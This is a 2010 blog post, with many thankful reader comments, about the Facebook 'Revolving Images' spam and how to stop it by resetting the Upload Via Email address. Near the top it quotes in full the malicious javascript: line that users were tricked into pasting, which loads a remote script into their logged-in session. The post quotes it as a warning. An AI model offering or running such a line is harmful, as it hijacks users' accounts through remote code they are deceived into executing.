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Get Rid Of The “Revolving Images” Spam On Facebook

If you are reading this post then I’m assuming that you happen to be one of those unfortunate users who unknowingly copy pasted the following script into their browser address bars hoping to see revolving images on Facebook. If I happen to be wrong and you are not even remotely aware of anything I’m saying then do not under any circumstances use the script below.

javascript:(a = (b =  document).createElement("script")).src =   "//graphicgiants.com/majic.js?show", b.body.appendChild(a); void(0)

Chances are that the spam has started to become a PITA and you want to get rid of it. But how? It’s fairly easy and was pointed out to me by one of my readers, Zahid. Great guy I must say. If this solution works for you then do thank him in the comments. He deserves it.

The spam is making wall posts and is updating users’ status’. To do this, it is using the a not so newly launched Facebook feature called “Upload Via E-mail”. It is a unique personal Email address given to every user which allows one to post status updates or send photos and videos straight to one’s profile. The spam has recorded this Email address of yours and is using it to update your status. Thankfully, Facebook lets you change this E-mail ID. This is how you can do it.

Step 1: Go over to http://www.facebook.com/mobile/

Find “More Facebook Mobile Products” written somwhere down. Find “Upload Via Email“. Click “Find out more“.

Step 2: Now look at the image below and click exactly where it says “..refresh your upload email.” or exactly where you see the cursor in the image.

Step 3: Now press reset. Don’t worry, your computer will not crumble to pieces. At least, not yet.

Step 4: If you see an image something like this (below) then you are done for the day. The spam won’t work anymore.

And please don’t go about entering random JavaScript in your browsers anymore.

Lesson for day for you: JavaScript can be very malicious.

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  1. Xzhibit
    November 23, 2010 at 10:56 pm

    FINALLY. A solution that works. Send this to Parthiv?

  2. November 24, 2010 at 10:16 am

    It worked! My status is not getting updated anymore! Thanks Dolt! You rock!!!

  3. Scott Henderson
    November 25, 2010 at 9:57 am

    You can blame this lot for the SPAM : http://www.orkut.com/Main#Community.aspx?cmm=43558952. Some guy has a copy of the Javascript that gets run when you paste the code into your web-browser. You can see what they are doing. Spooky stuff. http://techblog.tonycollings.com/?p=448

  4. November 26, 2010 at 12:39 am

    Nice solution post. Also you can also read about the Javascript working behind the spam at this link:

  5. November 26, 2010 at 9:13 pm

    facebook from the beginning under various spam attach. Good thing we always find ways to fight back.

  6. Nirvana
    November 27, 2010 at 1:46 am

    awesome .. thanks a lot … i cant believe i fell for this stupid thing in the first place … sigh i guess a sucker is born every minute !!

  7. Aditya
    November 28, 2010 at 6:34 pm

    Thanks for the solution DOLT! :)

  8. Islam
    November 30, 2010 at 3:29 am

    Thank you so much! :)

  9. Danish
    November 30, 2010 at 10:20 am

    Thanks for helping me…:)

  10. Satyam
    December 1, 2010 at 7:07 pm

    IT WORKED.. THANKS….Pulkit and Zahid… Cheers !

  11. Raghav dudeja
    December 1, 2010 at 7:17 pm

    Thanks A ton Zahid…….

  12. $haggy
    December 1, 2010 at 11:29 pm

    Thnx a ton, Zahid!!

  13. Tanvir
    December 2, 2010 at 1:49 pm

    that was a great help…

  14. Zoya
    December 2, 2010 at 6:41 pm

    Thank you so much.
    You’re the best!

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  16. darshan
    December 3, 2010 at 12:44 am

    i have just tried it, it did change to another id, i just have to chk if this spam doesnt occur again. but anyway, deep tech thought thr. thanks author and muse. ;)

  17. Amit J
    December 3, 2010 at 12:58 am

    Thanks a lot man. I just followed the instructions. Hope it works :)

  18. jamadagni
    December 3, 2010 at 12:48 pm

    thanks a load maann!!!!

  19. Pankaj
    December 3, 2010 at 4:15 pm

    thanks a ton dude its work :D

  20. Balvinder Singh
    December 3, 2010 at 9:52 pm

    Thanks….. awesome

  21. soham purohit
    December 4, 2010 at 12:02 am

    thank you zahid

  22. madhu
    December 4, 2010 at 5:30 am

    Finally i got a solution for tat big problem…. i was so irritated by tat….
    Thanks a lot….

  23. Kartic
    December 4, 2010 at 4:22 pm

    Gud thnkin dude! Thnks fer dat piece of thought!!!

  24. Aashish
    December 4, 2010 at 4:59 pm

    Thanx a lot…..:)

  25. arjun
    December 4, 2010 at 6:55 pm

    thank u
    i think my internet got slower coz of this watu think ??

    • December 4, 2010 at 8:51 pm

      That is not possible.

      • ARJUN
        December 4, 2010 at 11:25 pm

        thank u

  26. sarjit
    December 4, 2010 at 7:43 pm

    thanx for the help

  27. Achyuthan Sundarrajan
    December 4, 2010 at 10:39 pm

    Dheivam ayya neer….

    December 5, 2010 at 7:51 am

    thnkz mann..!! i was goin to delete my profile now..!!! hehehe..!!

  29. jul
    December 5, 2010 at 9:16 am


  30. Karan dadure
    December 5, 2010 at 11:25 am

    thanks a lot man!!!!
    you rock

  31. Prateeq
    December 6, 2010 at 4:05 am

    i m so thankful to you….. i dunno what to say more…. but i reallly thank you and wish u all the best!!!!
    keep me posted!

  32. Prateeq
    December 6, 2010 at 4:07 am

    forgot to add… ” YOU ROCK!!!!!! “

  33. umma
    December 6, 2010 at 1:56 pm

    Thank you SO MUCH!!!

  34. Prasenjit
    December 6, 2010 at 3:48 pm

    Really cool article…that helps seriously!

  35. Pawan
    December 6, 2010 at 4:05 pm

    Thanks for the solution. I hope it works as i was frustrated about my FB status message getting automatically updated by this ridiculous rotating images spam.

    Thanks Zahid and Dolt!

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